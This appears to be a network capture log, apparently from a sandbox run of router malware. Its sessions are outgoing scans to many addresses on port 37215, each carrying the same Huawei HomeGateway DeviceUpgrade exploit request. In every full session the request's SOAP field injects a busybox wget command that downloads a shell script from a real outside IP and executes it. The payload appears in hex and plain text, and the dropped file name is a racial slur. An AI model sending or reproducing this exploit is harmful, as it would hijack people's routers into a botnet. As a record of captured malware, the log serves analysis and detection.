4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
265	192.168.2.15	40646	94.123.136.14	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:20.945466042 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
266	192.168.2.15	51322	94.123.34.78	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:20.945835114 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
267	192.168.2.15	53250	94.123.48.85	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:20.946185112 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
268	192.168.2.15	54392	94.121.119.0	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:20.949098110 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
269	192.168.2.15	55268	94.120.37.193	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:20.949333906 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
270	192.168.2.15	42268	94.120.174.10	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:20.949547052 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
271	192.168.2.15	48386	94.121.115.58	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:20.950278044 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
272	192.168.2.15	42906	94.123.253.82	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:20.952750921 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
273	192.168.2.15	40158	94.122.220.112	37215

Timestamp	Bytes transferred	Direction	Data
